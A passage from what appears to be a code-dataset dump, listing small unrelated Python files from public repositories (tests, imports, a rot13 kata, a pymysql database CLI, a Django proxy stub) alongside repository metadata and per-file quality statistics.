a = 5 | 38.5 | 141 | 0.532468 | 42 | 154 | 1.952381 | 0.452381 | 0.292683 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12844 | 0.292208 | 154 | 4 | 142 | 38.5 | 0.623853 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
50f2277c6bacb10188ad468f78fa13b39bbecfb6 | 62 | py | Python | pyfiles/urls.py | mosalaheg/Git-course-from-elzero | 033608a21b65442316f99ee9e664c60a04c0e4c8 | [
"MIT"
] | null | null | null | pyfiles/urls.py | mosalaheg/Git-course-from-elzero | 033608a21b65442316f99ee9e664c60a04c0e4c8 | [
"MIT"
] | null | null | null | pyfiles/urls.py | mosalaheg/Git-course-from-elzero | 033608a21b65442316f99ee9e664c60a04c0e4c8 | [
"MIT"
] | null | null | null | version = 2.0
if version == 2.0:
print("Version is valid") | 20.666667 | 29 | 0.629032 | 11 | 62 | 3.545455 | 0.636364 | 0.410256 | 0.461538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081633 | 0.209677 | 62 | 3 | 29 | 20.666667 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0.253968 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
0fab57a550c9307dd422c2c48ae56e3954d72e09 | 277 | py | Python | 2020/day_09/test_day09.py | d02d33pak/Advent-Of-Code | 765b0302c256ad61864095a537a3f6379901b1c2 | [
"MIT"
] | null | null | null | 2020/day_09/test_day09.py | d02d33pak/Advent-Of-Code | 765b0302c256ad61864095a537a3f6379901b1c2 | [
"MIT"
] | null | null | null | 2020/day_09/test_day09.py | d02d33pak/Advent-Of-Code | 765b0302c256ad61864095a537a3f6379901b1c2 | [
"MIT"
] | null | null | null | """
Tests for Day 09
"""
from day09 import parse_input, part1, part2
def test_part1():
""" Test part one """
assert part1(parse_input("test_input.txt"), 5) == 127
def test_part2():
""" Test part two """
assert part2(parse_input("test_input.txt"), 5) == 62
| 17.3125 | 57 | 0.628159 | 41 | 277 | 4.073171 | 0.512195 | 0.179641 | 0.167665 | 0.227545 | 0.275449 | 0.275449 | 0 | 0 | 0 | 0 | 0 | 0.077273 | 0.205776 | 277 | 15 | 58 | 18.466667 | 0.681818 | 0.166065 | 0 | 0 | 0 | 0 | 0.132701 | 0 | 0 | 0 | 0 | 0 | 0.4 | 1 | 0.4 | true | 0 | 0.2 | 0 | 0.6 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 4 |
0fbbd1883b77210c8e51b9a4751da2286460cbad | 56 | py | Python | lbforaging/foraging/__init__.py | LukasSchaefer/lb-foraging | 11e9b2346713695192d247b97094ad5f1e7dd480 | [
"MIT"
] | 30 | 2019-04-26T11:50:34.000Z | 2022-03-18T20:38:38.000Z | lbforaging/foraging/__init__.py | LukasSchaefer/lb-foraging | 11e9b2346713695192d247b97094ad5f1e7dd480 | [
"MIT"
] | 11 | 2021-10-15T13:01:16.000Z | 2022-03-26T01:25:06.000Z | lbforaging/foraging/__init__.py | LukasSchaefer/lb-foraging | 11e9b2346713695192d247b97094ad5f1e7dd480 | [
"MIT"
] | 10 | 2020-06-11T09:18:47.000Z | 2022-03-11T02:45:56.000Z | from lbforaging.foraging.environment import ForagingEnv
| 28 | 55 | 0.892857 | 6 | 56 | 8.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071429 | 56 | 1 | 56 | 56 | 0.961538 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
0fc2f195f483f5e7657f7909ff3b9f7b5fa4ce74 | 79 | py | Python | assets/code/pyds/pyds/error.py | atanx/blog | 6053ac97b822c9f5754f13df3b9e00cb25f35097 | [
"MIT"
] | null | null | null | assets/code/pyds/pyds/error.py | atanx/blog | 6053ac97b822c9f5754f13df3b9e00cb25f35097 | [
"MIT"
] | null | null | null | assets/code/pyds/pyds/error.py | atanx/blog | 6053ac97b822c9f5754f13df3b9e00cb25f35097 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
#coding=utf-8
class EmptyError(Exception):
pass
| 11.285714 | 29 | 0.670886 | 11 | 79 | 4.818182 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015625 | 0.189873 | 79 | 6 | 30 | 13.166667 | 0.8125 | 0.405063 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
0fc7ca3072c0b49b279cc813f62c1f57b4cb9ae3 | 104 | py | Python | py_tdlib/constructors/message_website_connected.py | Mr-TelegramBot/python-tdlib | 2e2d21a742ebcd439971a32357f2d0abd0ce61eb | [
"MIT"
] | 24 | 2018-10-05T13:04:30.000Z | 2020-05-12T08:45:34.000Z | py_tdlib/constructors/message_website_connected.py | MrMahdi313/python-tdlib | 2e2d21a742ebcd439971a32357f2d0abd0ce61eb | [
"MIT"
] | 3 | 2019-06-26T07:20:20.000Z | 2021-05-24T13:06:56.000Z | py_tdlib/constructors/message_website_connected.py | MrMahdi313/python-tdlib | 2e2d21a742ebcd439971a32357f2d0abd0ce61eb | [
"MIT"
] | 5 | 2018-10-05T14:29:28.000Z | 2020-08-11T15:04:10.000Z | from ..factory import Type
class messageWebsiteConnected(Type):
domain_name = None # type: "string"
| 17.333333 | 37 | 0.75 | 12 | 104 | 6.416667 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 104 | 5 | 38 | 20.8 | 0.875 | 0.134615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
0fda2be762830ab36695ab385b35c4d513767c62 | 1,786 | py | Python | tests/wasp1/AllAnswerSets/Strategic_companies.test.py | bernardocuteri/wasp | 05c8f961776dbdbf7afbf905ee00fc262eba51ad | [
"Apache-2.0"
] | 19 | 2015-12-03T08:53:45.000Z | 2022-03-31T02:09:43.000Z | tests/wasp1/AllAnswerSets/Strategic_companies.test.py | bernardocuteri/wasp | 05c8f961776dbdbf7afbf905ee00fc262eba51ad | [
"Apache-2.0"
] | 80 | 2017-11-25T07:57:32.000Z | 2018-06-10T19:03:30.000Z | tests/wasp1/AllAnswerSets/Strategic_companies.test.py | bernardocuteri/wasp | 05c8f961776dbdbf7afbf905ee00fc262eba51ad | [
"Apache-2.0"
] | 6 | 2015-01-15T07:51:48.000Z | 2020-06-18T14:47:48.000Z | input = """
% Strategic Companies
%
% As we want to produce X, Y or Z must be strategic.
strategic(Y) v strategic(Z) :- produced_by(X,Y,Z).
% W is strategic, if it is controlled by strategic
% companies X, Y, and Z
strategic(W) :- controlled_by(W,X,Y,Z),
Strategic(X), Strategic(Y), Strategic(Z... | 49.611111 | 505 | 0.726204 | 241 | 1,786 | 5.26971 | 0.165975 | 0.125984 | 0.071654 | 0.044094 | 0.752756 | 0.73622 | 0.73622 | 0.637795 | 0.579528 | 0.579528 | 0 | 0.015985 | 0.1243 | 1,786 | 35 | 506 | 51.028571 | 0.796036 | 0 | 0 | 0.071429 | 0 | 0.071429 | 0.982083 | 0.407615 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
0fe0854cd2861cc095c65c5dcdeaf1242a11b317 | 59 | py | Python | thing2/thing2.py | GUXIANFEI/testrepo | df9ee5c80322ae57c08dc1f49a100ed2d33442e1 | [
"MIT"
] | null | null | null | thing2/thing2.py | GUXIANFEI/testrepo | df9ee5c80322ae57c08dc1f49a100ed2d33442e1 | [
"MIT"
] | null | null | null | thing2/thing2.py | GUXIANFEI/testrepo | df9ee5c80322ae57c08dc1f49a100ed2d33442e1 | [
"MIT"
] | null | null | null | print('I'm going to commit files for the second thing.')
| 14.75 | 56 | 0.711864 | 11 | 59 | 3.818182 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.186441 | 59 | 3 | 57 | 19.666667 | 0.875 | 0 | 0 | 0 | 0 | 0 | 0.017544 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 1 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 4 |
0fe6cdc8d54fd84e9c154c6d98afe09d052758d7 | 647 | py | Python | etna/models/__init__.py | Carlosbogo/etna | b6210f0e79ee92aa9ae8ff4fcfb267be9fb7cc94 | [
"Apache-2.0"
] | 1 | 2021-11-11T21:18:42.000Z | 2021-11-11T21:18:42.000Z | etna/models/__init__.py | Carlosbogo/etna | b6210f0e79ee92aa9ae8ff4fcfb267be9fb7cc94 | [
"Apache-2.0"
] | null | null | null | etna/models/__init__.py | Carlosbogo/etna | b6210f0e79ee92aa9ae8ff4fcfb267be9fb7cc94 | [
"Apache-2.0"
] | null | null | null | from etna import SETTINGS
from etna.models.catboost import CatBoostModelMultiSegment
from etna.models.catboost import CatBoostModelPerSegment
from etna.models.linear import ElasticMultiSegmentModel
from etna.models.linear import ElasticPerSegmentModel
from etna.models.linear import LinearMultiSegmentModel
from etna.mod... | 43.133333 | 62 | 0.877898 | 76 | 647 | 7.434211 | 0.355263 | 0.169912 | 0.272566 | 0.141593 | 0.283186 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085008 | 647 | 14 | 63 | 46.214286 | 0.954392 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.923077 | 0 | 0.923077 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
ba2bab329f24164a61c3f933aaef38a7c7b73002 | 646 | py | Python | applied_python/applied_python/lib/python2.7/site-packages/pylint/test/input/func_w0705.py | mith1979/ansible_automation | 013dfa67c6d91720b787fadb21de574b6e023a26 | [
"Apache-2.0"
] | 35 | 2016-09-22T22:53:14.000Z | 2020-02-13T15:12:21.000Z | sdks/python/.tox/lint/lib/python2.7/site-packages/pylint/test/input/func_w0705.py | axbaretto/presto | f137d2709db42b5c3e4d43a631832a8f74853065 | [
"Apache-2.0"
] | 28 | 2020-03-04T22:01:48.000Z | 2022-03-12T00:59:47.000Z | sdks/python/.tox/lint/lib/python2.7/site-packages/pylint/test/input/func_w0705.py | axbaretto/presto | f137d2709db42b5c3e4d43a631832a8f74853065 | [
"Apache-2.0"
] | 88 | 2016-11-27T02:16:11.000Z | 2020-02-28T05:10:26.000Z | """test misordered except
"""
__revision__ = 1
try:
__revision__ += 1
except Exception:
__revision__ = 0
except TypeError:
__revision__ = 0
try:
__revision__ += 1
except LookupError:
__revision__ = 0
except IndexError:
__revision__ = 0
try:
__revision__ += 1
except (LookupError, NameErro... | 13.744681 | 39 | 0.671827 | 66 | 646 | 5.666667 | 0.212121 | 0.192513 | 0.192513 | 0.28877 | 0.44385 | 0.347594 | 0.203209 | 0 | 0 | 0 | 0 | 0.030928 | 0.249226 | 646 | 46 | 40 | 14.043478 | 0.740206 | 0.034056 | 0 | 0.864865 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.108108 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 4 |
e867559933f293ca14bf6ab1679d1433d9da29f5 | 237 | py | Python | noct/schema/block/__init__.py | eternalharvest/noct | 2ec4d11c5d21ed5e4146325b76bb1b8d6fd75de3 | [
"Apache-2.0"
] | 2 | 2020-05-03T04:54:03.000Z | 2020-05-04T04:35:01.000Z | noct/schema/block/__init__.py | eternalharvest/noct | 2ec4d11c5d21ed5e4146325b76bb1b8d6fd75de3 | [
"Apache-2.0"
] | 8 | 2020-04-30T04:47:09.000Z | 2020-08-08T01:58:35.000Z | noct/schema/block/__init__.py | eternalharvest/noct | 2ec4d11c5d21ed5e4146325b76bb1b8d6fd75de3 | [
"Apache-2.0"
] | 1 | 2020-04-30T04:45:35.000Z | 2020-04-30T04:45:35.000Z | from noct.schema.block.divider import Divider
from noct.schema.block.section import Section
from noct.schema.block.field import Field
from noct.schema.block.plain_text import PlainText
__all__ = [
Divider, Section, Field, PlainText
]
| 23.7 | 50 | 0.810127 | 34 | 237 | 5.5 | 0.352941 | 0.171123 | 0.299465 | 0.406417 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.113924 | 237 | 9 | 51 | 26.333333 | 0.890476 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.571429 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
e86c1f4f6dbbdacce40c80cd926be7c3f3c7d3af | 273 | py | Python | katas/kyu_5/rot_13.py | the-zebulan/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 40 | 2016-03-09T12:26:20.000Z | 2022-03-23T08:44:51.000Z | katas/kyu_5/rot_13.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | null | null | null | katas/kyu_5/rot_13.py | akalynych/CodeWars | 1eafd1247d60955a5dfb63e4882e8ce86019f43a | [
"MIT"
] | 36 | 2016-11-07T19:59:58.000Z | 2022-03-31T11:18:27.000Z | import string # forced import by CodeWars kata
from string import ascii_uppercase as up, ascii_lowercase as low, \
ascii_letters as az, maketrans
ROT13 = maketrans(low[13:] + low[:13] + up[13:] + up[:13], az)
def rot13(message):
return message.translate(ROT13)
| 27.3 | 67 | 0.714286 | 41 | 273 | 4.682927 | 0.536585 | 0.052083 | 0.0625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.062222 | 0.175824 | 273 | 9 | 68 | 30.333333 | 0.791111 | 0.10989 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.333333 | 0.166667 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 4 |
e87926fb890b18fc015e03fecb638a25de5fb9f6 | 806 | py | Python | test/profile_med.py | iosonofabio/lshknn | 6b149b67fd9346151d0f8e00e62c7ae459c6d025 | [
"MIT"
] | 13 | 2018-02-14T20:59:54.000Z | 2021-04-03T07:21:47.000Z | test/profile_med.py | iosonofabio/lshknn | 6b149b67fd9346151d0f8e00e62c7ae459c6d025 | [
"MIT"
] | 2 | 2018-03-28T20:52:41.000Z | 2019-10-14T14:13:31.000Z | test/profile_med.py | iosonofabio/lshknn | 6b149b67fd9346151d0f8e00e62c7ae459c6d025 | [
"MIT"
] | 2 | 2018-12-26T23:35:48.000Z | 2021-07-19T08:00:32.000Z | import time
import numpy as np
import lshknn
threshold = 0.2
k = 5
n_genes = 10000
n_cells = 2000
data = np.random.rand(n_genes, n_cells)
t0 = time.time()
c = lshknn.Lshknn(
data=data,
k=k,
threshold=threshold,
m=128,
slice_length=None,
)
knn, similarity, n_neighbors ... | 17.911111 | 86 | 0.568238 | 116 | 806 | 3.844828 | 0.362069 | 0.053812 | 0.047085 | 0.080717 | 0.762332 | 0.762332 | 0.762332 | 0.762332 | 0.762332 | 0.587444 | 0 | 0.050967 | 0.294045 | 806 | 44 | 87 | 18.318182 | 0.732865 | 0 | 0 | 0.578947 | 0 | 0 | 0.169975 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.078947 | 0 | 0.078947 | 0.052632 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
e8925e42e2d7cc3ffd59f6e3dd6bebbd9d5b5506 | 78 | py | Python | log.py | zvxr/facebook_test_user | f6e8fdba419ff21e05fce0aef124e8001fe09803 | [
"MIT"
] | 3 | 2018-04-07T04:24:15.000Z | 2018-12-23T06:40:43.000Z | log.py | zvxr/facebook_test_user | f6e8fdba419ff21e05fce0aef124e8001fe09803 | [
"MIT"
] | null | null | null | log.py | zvxr/facebook_test_user | f6e8fdba419ff21e05fce0aef124e8001fe09803 | [
"MIT"
] | null | null | null | import logging
LOG_LEVEL = logging.DEBUG
logging.basicConfig(level=LOG_LEVEL) | 19.5 | 36 | 0.846154 | 11 | 78 | 5.818182 | 0.545455 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 78 | 4 | 36 | 19.5 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
e8d71e6812e96e7a2bdc67bc8b221c9aba942a0b | 303 | py | Python | cdbot/__init__.py | fossabot/cyberdisc-bot | cd997a36cfb5c7a6f48d13d8177634dded1f189d | [
"MIT"
] | null | null | null | cdbot/__init__.py | fossabot/cyberdisc-bot | cd997a36cfb5c7a6f48d13d8177634dded1f189d | [
"MIT"
] | null | null | null | cdbot/__init__.py | fossabot/cyberdisc-bot | cd997a36cfb5c7a6f48d13d8177634dded1f189d | [
"MIT"
] | null | null | null | """Initialise cdbot as a package for poetry."""
from os import environ
import sentry_sdk
from .bot import bot
def main():
"""Entry point for poetry script."""
if environ.get("SENTRY_URL") is not None:
sentry_sdk.init(environ.get("SENTRY_URL"))
bot.run(environ.get("BOT_TOKEN"))
| 20.2 | 50 | 0.683168 | 46 | 303 | 4.391304 | 0.608696 | 0.148515 | 0.158416 | 0.188119 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.184818 | 303 | 14 | 51 | 21.642857 | 0.817814 | 0.237624 | 0 | 0 | 0 | 0 | 0.131818 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | true | 0 | 0.428571 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
2ce0e855d2ebb8e7ce392acc0159e4aef057df72 | 199 | py | Python | glutil/__init__.py | Journera/glutil | aeb75974ae162456617334db4bd235c2101c8fd5 | [
"BSD-3-Clause"
] | 14 | 2019-06-19T20:14:38.000Z | 2020-05-21T18:25:02.000Z | glutil/__init__.py | Journera/glutil | aeb75974ae162456617334db4bd235c2101c8fd5 | [
"BSD-3-Clause"
] | 2 | 2019-06-19T17:39:31.000Z | 2019-10-29T18:24:20.000Z | glutil/__init__.py | Journera/glutil | aeb75974ae162456617334db4bd235c2101c8fd5 | [
"BSD-3-Clause"
] | 2 | 2019-10-04T04:33:06.000Z | 2020-05-21T19:25:31.000Z | # flake8: noqa F401
from .partitioner import Partitioner, PartitionMap, Partition
from .database_cleaner import DatabaseCleaner
from .utils import GlutilError
from .cli import Cli
cli = Cli().main
| 22.111111 | 61 | 0.80402 | 25 | 199 | 6.36 | 0.6 | 0.075472 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.023256 | 0.135678 | 199 | 8 | 62 | 24.875 | 0.901163 | 0.085427 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.8 | 0 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
2cf1745c99b99efd4bafe4b0c3acf6eced480fcd | 97 | py | Python | setup.py | Bhumbra/DeepNodal | 33afb2efa5e78ae6558ce60a36bb87c186c1f448 | [
"BSD-3-Clause"
] | 1 | 2019-01-06T09:49:42.000Z | 2019-01-06T09:49:42.000Z | setup.py | Bhumbra/DeepNodal | 33afb2efa5e78ae6558ce60a36bb87c186c1f448 | [
"BSD-3-Clause"
] | 3 | 2020-10-14T14:43:33.000Z | 2022-02-09T23:46:40.000Z | setup.py | Bhumbra/DeepNodal | 33afb2efa5e78ae6558ce60a36bb87c186c1f448 | [
"BSD-3-Clause"
] | null | null | null | """ Module setup for DeepNodal """
from setuptools import setup
setup(include_package_data=True)
| 24.25 | 34 | 0.793814 | 13 | 97 | 5.769231 | 0.846154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.113402 | 97 | 3 | 35 | 32.333333 | 0.872093 | 0.268041 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 4 |
fa65b1b48eb02b5f31162ce1f22ba8644a8a5914 | 226 | py | Python | commanderbot/ext/automod/__init__.py | CommanderBot-Dev/commanderbot-ext | c8798b4475b892c234a1e4ffbfb4fed3fb702938 | [
"MIT"
] | 4 | 2020-09-25T19:22:48.000Z | 2021-06-16T18:08:49.000Z | commanderbot/ext/automod/__init__.py | CommanderBot-Dev/commanderbot-py | 835841f733e466c5a0e6724d4020747c55856fe3 | [
"MIT"
] | 23 | 2021-08-30T04:07:29.000Z | 2021-11-08T17:44:41.000Z | commanderbot/ext/automod/__init__.py | CommanderBot-Dev/commanderbot-py | 835841f733e466c5a0e6724d4020747c55856fe3 | [
"MIT"
] | 3 | 2020-09-25T19:23:22.000Z | 2021-03-16T18:19:48.000Z | from discord.ext.commands import Bot
from commanderbot.ext.automod.automod_cog import AutomodCog
from commanderbot.core.utils import add_configured_cog
def setup(bot: Bot):
add_configured_cog(bot, __name__, AutomodCog)
| 25.111111 | 59 | 0.823009 | 32 | 226 | 5.53125 | 0.53125 | 0.180791 | 0.180791 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.110619 | 226 | 8 | 60 | 28.25 | 0.880597 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.6 | 0 | 0.8 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 4 |
3afb2994bb3bb20bc9ba6f5a2bb0e8ae7dcb0885 | 15,401 | py | Python | 64.py | srisatyavinay/Covid-database_mysql | fe7e497c4cdaa3c302c23c5e5797339d403abdfd | [
"MIT"
] | null | null | null | 64.py | srisatyavinay/Covid-database_mysql | fe7e497c4cdaa3c302c23c5e5797339d403abdfd | [
"MIT"
] | null | null | null | 64.py | srisatyavinay/Covid-database_mysql | fe7e497c4cdaa3c302c23c5e5797339d403abdfd | [
"MIT"
] | null | null | null | import subprocess as sp
import pymysql
import pymysql.cursors
from tabulate import tabulate
def viewTable(rows):
a = []
try:
a.append(list(rows[0].keys()))
except:
print("\n-----------------\nEMPTY TABLE\n-----------------\n")
return
for row in rows:
b = []
for... | 32.560254 | 301 | 0.562626 | 1,912 | 15,401 | 4.487971 | 0.105649 | 0.051043 | 0.073301 | 0.077613 | 0.736161 | 0.721944 | 0.719846 | 0.700035 | 0.693276 | 0.687566 | 0 | 0.004488 | 0.29102 | 15,401 | 472 | 302 | 32.629237 | 0.78139 | 0.013895 | 0 | 0.684834 | 0 | 0.018957 | 0.377052 | 0.047544 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033175 | false | 0.007109 | 0.009479 | 0 | 0.137441 | 0.232227 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
d70773b5705fef01ea68f6166036675bbdc783b2 | 2,681 | py | Python | auth_proxy/views.py | ChameleonIVCR/DjangoAuthProxy | 97a7736373e28ccfb3fcbc0bd947b4c4860c7621 | [
"MIT"
] | null | null | null | auth_proxy/views.py | ChameleonIVCR/DjangoAuthProxy | 97a7736373e28ccfb3fcbc0bd947b4c4860c7621 | [
"MIT"
] | null | null | null | auth_proxy/views.py | ChameleonIVCR/DjangoAuthProxy | 97a7736373e28ccfb3fcbc0bd947b4c4860c7621 | [
"MIT"
] | null | null | null | import json
import uuid
from django.http import HttpResponse
from django.views.generic import View
from django.core import serializers
from .models import UserProxy
# TODO endpoints for remote UserProxy management
# class RestUserProxyView(View):
#
# @staticmethod
# def _get_user_proxy(key):
